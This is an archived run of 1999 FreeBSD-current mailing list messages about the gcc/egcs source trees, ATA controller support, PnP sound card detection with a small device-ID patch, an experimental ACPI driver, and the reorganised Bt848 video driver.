Cc: current@FreeBSD.ORG
Message-Id: <99Sep27.155226est.40355@border.alcanet.com.au>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Peter Wemm <peter@netplex.com.au> wrote:
>Peter Jeremy wrote:
>> I appear to have two complete copies of gcc - one in src/contrib/gcc
>> and another in src/contrib/egcs/gcc.

>src/contrib/gcc is where gcc used to live.  Then along came egcs with a
>cygnus-style tree that ended up in src/contrib/egcs (v1.1.1 and later
>1.1.2).  Now, egcs has become gcc 2.95, so it's going back to src/contrib/
>gcc again.

That's the way I remembered things.  What threw me is that I currently
have two _different_ gcc directories, both claiming to be EGCS 1.1.2,
and both being updated.

>  David O'Brien is working on this now but I think he's 
>suffering from gcc-induced insanity. :-)

I guess that's one explanation...

Peter


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 23: 0: 2 1999
Delivered-To: freebsd-current@freebsd.org
Received: from thrawn.gulf.net.au (thrawn.gulf.net.au [203.25.24.1])
	by hub.freebsd.org (Postfix) with ESMTP id 98BA914E69
	for <freebsd-current@freebsd.org>; Sun, 26 Sep 1999 22:59:57 -0700 (PDT)
	(envelope-from timl@gulf.net.au)
Received: from tim-gw.gulf.net.au (IDENT:root@tim.gulf.net.au [203.25.24.121] (may be forged))
	by thrawn.gulf.net.au (8.9.3/8.8.7) with SMTP id PAA00593
	for <freebsd-current@freebsd.org>; Mon, 27 Sep 1999 15:29:41 +0930 (CST)
From: Tim Longbottom <timl@gulf.net.au>
Reply-To: timl@gulf.net.au
Organization: TL Computing
To: freebsd-current@freebsd.org
Date: Mon, 27 Sep 1999 15:33:47 +0930
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
MIME-Version: 1.0
Message-Id: <99092715340901.28057@tim-gw.gulf.net.au>
Content-Transfer-Encoding: 8bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

unsubscribe


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 23: 1:48 1999
Delivered-To: freebsd-current@freebsd.org
Received: from thrawn.gulf.net.au (thrawn.gulf.net.au [203.25.24.1])
	by hub.freebsd.org (Postfix) with ESMTP id F2D0614E69
	for <freebsd-current@freebsd.org>; Sun, 26 Sep 1999 23:01:38 -0700 (PDT)
	(envelope-from timl@gulf.net.au)
Received: from tim-gw.gulf.net.au (IDENT:root@tim.gulf.net.au [203.25.24.121] (may be forged))
	by thrawn.gulf.net.au (8.9.3/8.8.7) with SMTP id PAA00628
	for <freebsd-current@freebsd.org>; Mon, 27 Sep 1999 15:31:24 +0930 (CST)
From: Tim Longbottom <timl@gulf.net.au>
Reply-To: timl@gulf.net.au
Organization: TL Computing
To: freebsd-current@freebsd.org
Date: Mon, 27 Sep 1999 15:35:34 +0930
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
MIME-Version: 1.0
Message-Id: <99092715355202.28057@tim-gw.gulf.net.au>
Content-Transfer-Encoding: 8bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

unsubscribe freebsd-current


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 23:36:51 1999
Delivered-To: freebsd-current@freebsd.org
Received: from freebsd.dk (freebsd.dk [212.242.42.178])
	by hub.freebsd.org (Postfix) with ESMTP id BBD8515167
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 23:36:46 -0700 (PDT)
	(envelope-from sos@freebsd.dk)
Received: (from sos@localhost)
	by freebsd.dk (8.9.3/8.9.1) id IAA08939;
	Mon, 27 Sep 1999 08:36:21 +0200 (CEST)
	(envelope-from sos)
From: Soren Schmidt <sos@freebsd.dk>
Message-Id: <199909270636.IAA08939@freebsd.dk>
Subject: Re: New ATA, HPT366 and UDMA66
In-Reply-To: <Pine.BSF.3.96.990926202526.23686A-100000@earth.anet-stl.com> from Jason Young at "Sep 26, 1999 08:30:15 pm"
To: doogie@anet-stl.com (Jason Young)
Date: Mon, 27 Sep 1999 08:36:21 +0200 (CEST)
Cc: ktsin@mail.singtel-yp.com, current@FreeBSD.ORG
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

It seems Jason Young wrote:
> 
> I looked at this yesterday (we just got one in). The HighPoint controller
> has some specific initialization needs, just like the Promise controller.
> 
> The Linux code doesn't seem terribly twisted, although I didn't have
> enough caffiene handy to try and interpret the logic and add it into the
> new ATA driver. 
> 
> I wonder if Soren (sorry, I don't know how to persuade my machine to spell
> your name correctly) would be interested in one so that he could work on
> supporting it? I would be happy to send one.. email me privately. 

I have the docs, and have been promised that an Abit HotRot controller be 
sent to me, but I havn't received it yet. So if you can get one out the
door asap that would be just fine (I really dont trust that other controller
to appear anytime soon...), just wrap it in neutral brown paper and
it should pass customs just fine :)

My snail mail addresss is:

	Soren Schmidt
	Soparken 61,  Klokkerholm
	DK9320 Hjallerup
	Denmark

-Soren (and yes today I'm on a 7bit line too :) )




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27  0: 5:15 1999
Delivered-To: freebsd-current@freebsd.org
Received: from rover.village.org (rover.village.org [204.144.255.49])
	by hub.freebsd.org (Postfix) with ESMTP id 4BFFF1520F
	for <current@FreeBSD.ORG>; Mon, 27 Sep 1999 00:04:26 -0700 (PDT)
	(envelope-from imp@harmony.village.org)
Received: from harmony.village.org (harmony.village.org [10.0.0.6])
	by rover.village.org (8.9.3/8.9.3) with ESMTP id BAA23785;
	Mon, 27 Sep 1999 01:04:26 -0600 (MDT)
	(envelope-from imp@harmony.village.org)
Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id BAA08264; Mon, 27 Sep 1999 01:04:14 -0600 (MDT)
Message-Id: <199909270704.BAA08264@harmony.village.org>
To: Peter Jeremy <jeremyp@gsmx07.alcatel.com.au>
Subject: Re: EGCS, or EGCS? 
Cc: peter@netplex.com.au, current@FreeBSD.ORG
In-reply-to: Your message of "Mon, 27 Sep 1999 15:55:12 +1000."
		<99Sep27.155226est.40355@border.alcanet.com.au> 
References: <99Sep27.155226est.40355@border.alcanet.com.au>  
Date: Mon, 27 Sep 1999 01:04:14 -0600
From: Warner Losh <imp@village.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

: >  David O'Brien is working on this now but I think he's 
: >suffering from gcc-induced insanity. :-)

Actually, I'd bet more on amd induced insanity rather than gcc.  There 
have been too many problems with amd of late...

Warner



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27  0:25:42 1999
Delivered-To: freebsd-current@freebsd.org
Received: from zibbi.mikom.csir.co.za (zibbi.mikom.csir.co.za [146.64.24.58])
	by hub.freebsd.org (Postfix) with ESMTP id A540714D6E
	for <current@FreeBSD.ORG>; Mon, 27 Sep 1999 00:25:35 -0700 (PDT)
	(envelope-from jhay@zibbi.mikom.csir.co.za)
Received: (from jhay@localhost)
	by zibbi.mikom.csir.co.za (8.9.3/8.9.3) id JAA14310;
	Mon, 27 Sep 1999 09:25:06 +0200 (SAT)
	(envelope-from jhay)
From: John Hay <jhay@mikom.csir.co.za>
Message-Id: <199909270725.JAA14310@zibbi.mikom.csir.co.za>
Subject: Re: [dmaddox@conterra.com: Re: New PnP code does not work for me(?)]
In-Reply-To: <Pine.BSF.4.10.9909261707400.25127-100000@jade.chc-chimes.com> from Bill Fumerola at "Sep 26, 1999 05:10:30 pm"
To: billf@jade.chc-chimes.com (Bill Fumerola)
Date: Mon, 27 Sep 1999 09:25:06 +0200 (SAT)
Cc: dmaddox@conterra.com (Donald J . Maddox), current@FreeBSD.ORG
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

So who subscribed me to freebsd-flame@freebsd.org? :-)

Really guys if you don't like the person or the questions he asks, don't
reply. If you really need to say something send it to /dev/null, not
even to him/her in private mail. We are here because we like FreeBSD
and use it, not to pick fights with each other. Please.

Thanks.

John
-- 
John Hay -- John.Hay@mikom.csir.co.za

> 
> Considering you just redirected what seemed to be a private message
> to a public mailing list, I have completely just written you off.
> 
> To say this is bad etiquette would be a gross understatement. I hope
> you feel like a complete ass, because you just presented yourself as
> one.



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27  1:58:57 1999
Delivered-To: freebsd-current@freebsd.org
Received: from out1.mx.skynet.be (out1.mx.skynet.be [195.238.2.36])
	by hub.freebsd.org (Postfix) with ESMTP id 85E4414BF3
	for <current@FreeBSD.ORG>; Mon, 27 Sep 1999 01:58:50 -0700 (PDT)
	(envelope-from root@foxbert.skynet.be)
Received: from foxbert.skynet.be (foxbert.skynet.be [195.238.1.45])
	by out1.mx.skynet.be (8.9.3/odie-relay-v1.0) with ESMTP id KAA03076;
	Mon, 27 Sep 1999 10:58:43 +0200 (MET DST)
Received: (from root@localhost)
	by foxbert.skynet.be (8.9.1/jovi-pop-2.1) id KAA01788;
	Mon, 27 Sep 1999 10:58:40 +0200 (MET DST)
Mime-Version: 1.0
X-Sender: blk@foxbert.skynet.be
Message-Id: <v04205500b414d69d9fcf@[195.238.21.204]>
In-Reply-To: <199909270031.BAA29844@keep.lan.Awfulhak.org>
References: <199909270031.BAA29844@keep.lan.Awfulhak.org>
Date: Mon, 27 Sep 1999 10:10:57 +0200
To: Brian Somers <brian@Awfulhak.org>,
	Matthew Dillon <dillon@apollo.backplane.com>
From: Brad Knowles <blk@skynet.be>
Subject: Re: On hub.freebsd.org refusing to talk to dialups
Cc: "Gary Palmer" <gjp@in-addr.com>,
	Brian Somers <brian@Awfulhak.org>, current@FreeBSD.ORG
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

At 1:31 AM +0100 1999/9/27, Brian Somers wrote:

> An interesting extension:  If an AOL MX receives a message with an
> AOL from address from a non-AOL relay it's accepted for delivery and
> dropped in the bit-bucket.  Well, it's obviously spam (isn't it?) !

	This item kept coming up about every three months while I was the 
Internet Mail Systems Administrator for AOL.  Every time it did, we 
shot it down yet once again with the response "You idiot, that will 
break forwarding and mailing lists".

	I guess the idiots finally won.

-- 
   These are my opinions -- not to be taken as official Skynet policy
  ____________________________________________________________________
|o| Brad Knowles, <blk@skynet.be>            Belgacom Skynet NV/SA |o|
|o| Systems Architect, News & FTP Admin      Rue Col. Bourg, 124   |o|
|o| Phone/Fax: +32-2-706.11.11/12.49         B-1140 Brussels       |o|
|o| http://www.skynet.be                     Belgium               |o|
\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
  Unix is like a wigwam -- no Gates, no Windows, and an Apache inside.
   Unix is very user-friendly.  It's just picky who its friends are.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27  2:13:57 1999
Delivered-To: freebsd-current@freebsd.org
Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33])
	by hub.freebsd.org (Postfix) with ESMTP id ACCE514FD3
	for <current@freebsd.org>; Mon, 27 Sep 1999 02:13:52 -0700 (PDT)
	(envelope-from dfr@nlsystems.com)
Received: from salmon.nlsystems.com (salmon.nlsystems.com [10.0.0.3])
	by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id KAA32477;
	Mon, 27 Sep 1999 10:14:44 +0100 (BST)
	(envelope-from dfr@nlsystems.com)
Date: Mon, 27 Sep 1999 10:14:44 +0100 (BST)
From: Doug Rabson <dfr@nlsystems.com>
To: Mitsuru IWASAKI <iwasaki@jp.FreeBSD.org>
Cc: mike@smith.net.au, current@freebsd.org
Subject: Re: Experimental ACPI driver. 
In-Reply-To: <199909270323.MAA17896@tasogare.imasy.or.jp>
Message-ID: <Pine.BSF.4.10.9909271013540.322-100000@salmon.nlsystems.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Mon, 27 Sep 1999, Mitsuru IWASAKI wrote:

> Hi, Mike.
> # I'm very happy because of your reply :)
> 
> > > > We wrote experimental ACPI driver for 4.0-CURRENT.
> > > 
> > > This was just one week work so its functionallity is very very poor :-)
> > > but I think it is good idea to start with this for developping ACPI
> > > driver for FreeBSD because it is enough small to understand it.
> > 
> > I'm not sure this is the right way to go about it, although I haven't 
> > looked at your code yet.  APCI is a big animal, and I think it's going 
> > to take a proper design to get it right.
> 
> Indeed.  Also I think that this project cannot be achieved easily by
> only one/two person's efforts.  I believe having this kind of prototype
> makes our discussion easier.  We are going to prepare the materials
> for our further discussion.
> 
> > The key components would appear to be a full AML parser, an object 
> > manager to manage the ACPI namespace, and an AML interpreter to run the 
> > AML methods.
> 
> Yes, Yes.
> 
> > > If someone already started wriring ACPI devive driver, please let us
> > > know.  We'd like to merge them and would be happy in collaboration
> > > with you.
> > 
> > Both Doug Rabson and myself have been tinkering with this, and there's 
> > someone that's been looking at an AML parser/interpreter in the last 
> > couple of weeks.  At this point in time, the parser and object manager 
> > are the most vital components.
> 
> Now we got new friends :) Mr. Watanabe is going FreeBSDCon
> (unfortunately I cannot), you can discuss this matter with him.
> I think the time has come to start!
> 
> Thank you very much.

I would very much appreciate talking to Mr. Watanebe at FreeBSDCon and
working on the design for a decent ACPI implementation.

--
Doug Rabson				Mail:  dfr@nlsystems.com
Nonlinear Systems Ltd.			Phone: +44 181 442 9037




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27  2:25:54 1999
Delivered-To: freebsd-current@freebsd.org
Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33])
	by hub.freebsd.org (Postfix) with ESMTP id 10C0914E4D
	for <current@freebsd.org>; Mon, 27 Sep 1999 02:25:51 -0700 (PDT)
	(envelope-from dfr@nlsystems.com)
Received: from salmon.nlsystems.com (salmon.nlsystems.com [10.0.0.3])
	by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id KAA34910;
	Mon, 27 Sep 1999 10:28:27 +0100 (BST)
	(envelope-from dfr@nlsystems.com)
Date: Mon, 27 Sep 1999 10:28:26 +0100 (BST)
From: Doug Rabson <dfr@nlsystems.com>
To: "Donald J . Maddox" <dmaddox@conterra.com>
Cc: Mike Smith <mike@smith.net.au>, current@freebsd.org
Subject: Re: Loss of Functionality with newpnp
In-Reply-To: <19990926160519.A350@dmaddox.conterra.com>
Message-ID: <Pine.BSF.4.10.9909271026280.322-100000@salmon.nlsystems.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Sun, 26 Sep 1999, Donald J . Maddox wrote:

> On Sun, Sep 26, 1999 at 12:29:46PM -0700, Mike Smith wrote:
> > > 
> > > But we do have a working driver for the AWE64.  Or rather, it worked fine
> > > before the new PnP code was comitted, now it doesn't.  It seems to me that
> > > this indicates a deficiency in the new PnP code.  Isn't that correct?
> > 
> > No.
> > 
> > I have already explained to you that the AWE64 driver that you were 
> > using (one actually of _three_ that we have) only worked with PnP cards 
> > as an accidental side-effect of the old PnP code.  Now that the PnP 
> > code has been fixed, the brokenness of the old driver is exposed.
> 
> Can you give me a few hints on what would be necessary to get the old
> driver to work with the new PnP?  I confess ignorance of both PnP and
> soundcard programming, but I am willing to try to fix it if fixing it
> is within my means.

It requires converting the ancient voxware driver to newbus which isn't
really feasable.

> 
> It's amazing that one of the most popular sound cards of all time, one
> that works fine on practically every OS from DOS3.3 to Linux and BeOS,
> is of no concern to FBSD developers :-/

My AWE64 works just fine. WaveTable support will arrive after the new midi
driver is committed. If you want to test and/or work on that, please talk
to the author, Seigo Tanimura <tanimura@r.dl.itc.u-tokyo.ac.jp>.

--
Doug Rabson				Mail:  dfr@nlsystems.com
Nonlinear Systems Ltd.			Phone: +44 181 442 9037





To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27  2:33: 5 1999
Delivered-To: freebsd-current@freebsd.org
Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33])
	by hub.freebsd.org (Postfix) with ESMTP id 1C8F614E4D
	for <current@freebsd.org>; Mon, 27 Sep 1999 02:33:02 -0700 (PDT)
	(envelope-from dfr@nlsystems.com)
Received: from salmon.nlsystems.com (salmon.nlsystems.com [10.0.0.3])
	by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id KAA38585;
	Mon, 27 Sep 1999 10:35:46 +0100 (BST)
	(envelope-from dfr@nlsystems.com)
Date: Mon, 27 Sep 1999 10:35:46 +0100 (BST)
From: Doug Rabson <dfr@nlsystems.com>
To: "Donald J . Maddox" <dmaddox@conterra.com>
Cc: current@freebsd.org
Subject: Re: New PnP code does not work for me(?)
In-Reply-To: <19990926144715.A337@dmaddox.conterra.com>
Message-ID: <Pine.BSF.4.10.9909271035070.322-100000@salmon.nlsystems.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Sun, 26 Sep 1999, Donald J . Maddox wrote:

> I couldn't get my PnP Creative AWE64G to work with the new PnP
> code, so I tried compiling a kernel with pcm instead.  All I get is:
> 
> unknown0: <Audio> at port 0x220-0x22f,0x330-0x331,0x388-0x38b irq 5 drq 1,5 on isa0
> unknown1: <Game> at port 0x200-0x207 on isa0
> unknown2: <WaveTable> at port 0x620-0x623 on isa0
> 
> It is my understanding that, with the new PnP code, I should not have to
> specify the ports, IRQs, DMA, etc., right?  Here is the config I used:

It looks like an ID is missing for this card. Try this patch:

Index: sb.c
===================================================================
RCS file: /home/ncvs/src/sys/dev/pcm/isa/sb.c,v
retrieving revision 1.23
diff -u -r1.23 sb.c
--- sb.c	1999/09/07 08:42:44	1.23
+++ sb.c	1999/09/27 09:34:04
@@ -1258,6 +1258,7 @@
     	case 0x31008c0e: /* CTL0031 */
     	case 0x41008c0e: /* CTL0041 */
     	case 0x42008c0e: /* CTL0042 */
+    	case 0x44008c0e: /* CTL0044 */
     	case 0x45008c0e: /* CTL0045 */
 		s = "SB16 PnP";
 		break;

--
Doug Rabson				Mail:  dfr@nlsystems.com
Nonlinear Systems Ltd.			Phone: +44 181 442 9037




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27  2:48:32 1999
Delivered-To: freebsd-current@freebsd.org
Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33])
	by hub.freebsd.org (Postfix) with ESMTP id 1053E15274
	for <current@freebsd.org>; Mon, 27 Sep 1999 02:48:26 -0700 (PDT)
	(envelope-from dfr@nlsystems.com)
Received: from salmon.nlsystems.com (salmon.nlsystems.com [10.0.0.3])
	by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id KAA40049;
	Mon, 27 Sep 1999 10:38:19 +0100 (BST)
	(envelope-from dfr@nlsystems.com)
Date: Mon, 27 Sep 1999 10:38:18 +0100 (BST)
From: Doug Rabson <dfr@nlsystems.com>
To: Doug <Doug@gorean.org>
Cc: Peter Wemm <peter@netplex.com.au>, dmaddox@conterra.com,
	current@freebsd.org
Subject: Re: New PnP code does not work for me(?)
In-Reply-To: <37EE9D38.81A8B494@gorean.org>
Message-ID: <Pine.BSF.4.10.9909271037250.322-100000@salmon.nlsystems.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Sun, 26 Sep 1999, Doug wrote:

> Peter Wemm wrote:
> > 
> > "Donald J . Maddox" wrote:
> > > Ok, will do.  Thanks.
> > >
> > > This may be a silly question, but...  The old PnP driver recognized
> > > a lot of devices, including my AWE64.  Isn't there a list of IDs it
> > > was aware of that should be merged into newPnP ASAP?
> > 
> > The old PnP code was matching on the card vendor ID.  The new pnp code
> > treats each logical device on it's own and matches by logical ID.
> 
> 	The new architecture sounds like a good thing, but isn't there a way to
> fall back to the old method if the logical device ID isn't found?
> Perhaps with an error message asking the user to report the logical ID
> to proper-mailing-list@freebsd.org? Of course I'm probably dreaming
> here, but it seems to me that some kind of compromise should be
> possible, since I tend to agree with Donald that "Working before + not
> working now = broken," no matter how much "better" the broken version is
> from the purity standpoint. 

This isn't feasable. Most of these cards are multifunction beasts and
matching the vendor ID instead of the logical ID prevents us from probing
and attaching the other functions (e.g. joystick, midi, ata).

--
Doug Rabson				Mail:  dfr@nlsystems.com
Nonlinear Systems Ltd.			Phone: +44 181 442 9037




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27  2:51: 6 1999
Delivered-To: freebsd-current@freebsd.org
Received: from rah.star-gate.com (216-200-29-190.snj0.flashcom.net [216.200.29.194])
	by hub.freebsd.org (Postfix) with ESMTP id AEB7215274
	for <current@FreeBSD.ORG>; Mon, 27 Sep 1999 02:51:04 -0700 (PDT)
	(envelope-from hasty@rah.star-gate.com)
Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1])
          by rah.star-gate.com (8.9.3/8.8.8) with ESMTP id CAA25858;
          Mon, 27 Sep 1999 02:48:59 -0700 (PDT)
          (envelope-from hasty@rah.star-gate.com)
Message-Id: <199909270948.CAA25858@rah.star-gate.com>
X-Mailer: exmh version 2.0.2 2/24/98
To: Doug Rabson <dfr@nlsystems.com>
Cc: "Donald J . Maddox" <dmaddox@conterra.com>,
	Mike Smith <mike@smith.net.au>, current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp 
In-reply-to: Your message of "Mon, 27 Sep 1999 10:28:26 BST."
             <Pine.BSF.4.10.9909271026280.322-100000@salmon.nlsystems.com> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Mon, 27 Sep 1999 02:48:59 -0700
From: Amancio Hasty <hasty@rah.star-gate.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> It requires converting the ancient voxware driver to newbus which isn't
> really feasable.

I am not sure about that ... The irq handling, card registration on the voxware
is fairly straight forward. 

-- 

 Amancio Hasty
 hasty@rah.star-gate.com




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27  3:15:32 1999
Delivered-To: freebsd-current@freebsd.org
Received: from smtp03.wxs.nl (smtp03.wxs.nl [195.121.6.37])
	by hub.freebsd.org (Postfix) with ESMTP id 39A7F152DA
	for <current@FreeBSD.ORG>; Mon, 27 Sep 1999 03:15:29 -0700 (PDT)
	(envelope-from asmodai@wxs.nl)
Received: from daemon.ninth-circle.org ([195.121.198.248]) by smtp03.wxs.nl
          (Netscape Messaging Server 3.61)  with ESMTP id AAC15A5;
          Mon, 27 Sep 1999 12:15:28 +0200
Received: (from asmodai@localhost)
	by daemon.ninth-circle.org (8.9.3/8.9.3) id MAA16884;
	Mon, 27 Sep 1999 12:01:04 +0200 (CEST)
	(envelope-from asmodai)
Date: Mon, 27 Sep 1999 12:01:03 +0200
From: Jeroen Ruigrok/Asmodai <asmodai@wxs.nl>
To: Soren Schmidt <sos@freebsd.dk>
Cc: Jason Young <doogie@anet-stl.com>, ktsin@mail.singtel-yp.com,
	current@FreeBSD.ORG
Subject: Re: New ATA, HPT366 and UDMA66
Message-ID: <19990927120103.I16203@daemon.ninth-circle.org>
References: <Pine.BSF.3.96.990926202526.23686A-100000@earth.anet-stl.com> <199909270636.IAA08939@freebsd.dk>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Mailer: Mutt 0.95.7i
In-Reply-To: <199909270636.IAA08939@freebsd.dk>
Organisation: Ninth-Circle Enterprises
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

* Soren Schmidt (sos@freebsd.dk) [990927 09:18]:
>It seems Jason Young wrote:
>> 
>> I looked at this yesterday (we just got one in). The HighPoint controller
>> has some specific initialization needs, just like the Promise controller.
>> 
>> I wonder if Soren (sorry, I don't know how to persuade my machine to spell
>> your name correctly) would be interested in one so that he could work on
>> supporting it? I would be happy to send one.. email me privately. 
>
>I have the docs, and have been promised that an Abit HotRot controller be 
>sent to me, but I havn't received it yet. So if you can get one out the
>door asap that would be just fine (I really dont trust that other controller
>to appear anytime soon...), just wrap it in neutral brown paper and
>it should pass customs just fine :)

Søren,

you know I have the possession of a development box with the HPT366,
right? [well you should since I mailed you those timing-tables =P ]

Anyways, as soon as I have enough cash again I will buy an /66 disk
and stuff it on the free controller. Feel free to pester me with
patches ;)

-- 
Jeroen Ruigrok van der Werven/Asmodai                  asmodai(at)wxs.nl
The BSD Programmer's Documentation Project <http://home.wxs.nl/~asmodai>
Network/Security Specialist        BSD: Technical excellence at its best
There is no greater sorrow than to recall, in misery, the time when we
were happy.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27  3:40:49 1999
Delivered-To: freebsd-current@freebsd.org
Received: from fleming.cs.strath.ac.uk (fleming.cs.strath.ac.uk [130.159.196.126])
	by hub.freebsd.org (Postfix) with ESMTP
	id 7A208152D7; Mon, 27 Sep 1999 03:40:41 -0700 (PDT)
	(envelope-from roger@cs.strath.ac.uk)
Received: from cs.strath.ac.uk (scary.dmem.strath.ac.uk [130.159.202.5])
	by fleming.cs.strath.ac.uk (8.8.8/8.8.8) with ESMTP id LAA15337
	Mon, 27 Sep 1999 11:40:39 +0100 (BST)
Message-ID: <37EF296E.942D34B5@cs.strath.ac.uk>
Date: Mon, 27 Sep 1999 09:23:10 +0100
From: Roger Hardiman <roger@cs.strath.ac.uk>
Organization: Strathclyde University
X-Mailer: Mozilla 4.51 [en] (X11; I; FreeBSD 3.3-STABLE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: current@freebsd.org, multimedia@freebsd.org
Subject: New structure for the bktr Bt848 driver
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Hi all,

I've done some major reworking of the Bt848/Bt878 driver in the last few
weeks
and everything is now committed to -current.

The old brooktree848.c file has gone.

It is now replaced by bktr_core.c bktr_audio.c bktr_tuner.c bktr_card.c
and bktr_os.c
which neatly seperate out the main Bt848 code, the audio, tuner and card
detetion code
and the operating system specific things (probe/attach and cdev).

In addition, the new driver now lives in   /sys/dev/bktr


So, those of you using -current, keep an eye out next time you CVSup and
please report any breakages.

I intend to merge the new structure into -stable once I've had enough
feedback (or the usual lack of it to indicate nothing broke)


Roger
--
Roger Hardiman
Strathclyde Uni Telepresence Research Group, Glasgow, Scotland.
http://telepresence.dmem.strath.ac.uk      0141 548 2897
roger@cs.strath.ac.uk




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27  3:48: 5 1999
Delivered-To: freebsd-current@freebsd.org
Received: from freebsd.dk (freebsd.dk [212.242.42.178])
	by hub.freebsd.org (Postfix) with ESMTP id 398FA14E1C
	for <current@FreeBSD.ORG>; Mon, 27 Sep 1999 03:48:01 -0700 (PDT)
	(envelope-from sos@freebsd.dk)
Received: (from sos@localhost)
	by freebsd.dk (8.9.3/8.9.1) id MAA09399;
	Mon, 27 Sep 1999 12:47:48 +0200 (CEST)
	(envelope-from sos)
From: Soren Schmidt <sos@freebsd.dk>
Message-Id: <199909271047.MAA09399@freebsd.dk>
Subject: Re: New ATA, HPT366 and UDMA66
In-Reply-To: <19990927120103.I16203@daemon.ninth-circle.org> from Jeroen Ruigrok/Asmodai at "Sep 27, 1999 12:01:03 pm"
To: asmodai@wxs.nl (Jeroen Ruigrok/Asmodai)
Date: Mon, 27 Sep 1999 12:47:48 +0200 (CEST)
Cc: doogie@anet-stl.com (Jason Young), ktsin@mail.singtel-yp.com,
	current@FreeBSD.ORG
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

It seems Jeroen Ruigrok/Asmodai wrote:
> 
> you know I have the possession of a development box with the HPT366,
> right? [well you should since I mailed you those timing-tables =P ]

I know :)

> Anyways, as soon as I have enough cash again I will buy an /66 disk
> and stuff it on the free controller. Feel free to pester me with
> patches ;)

Sure, but first I'd like to have one here to do the development on,
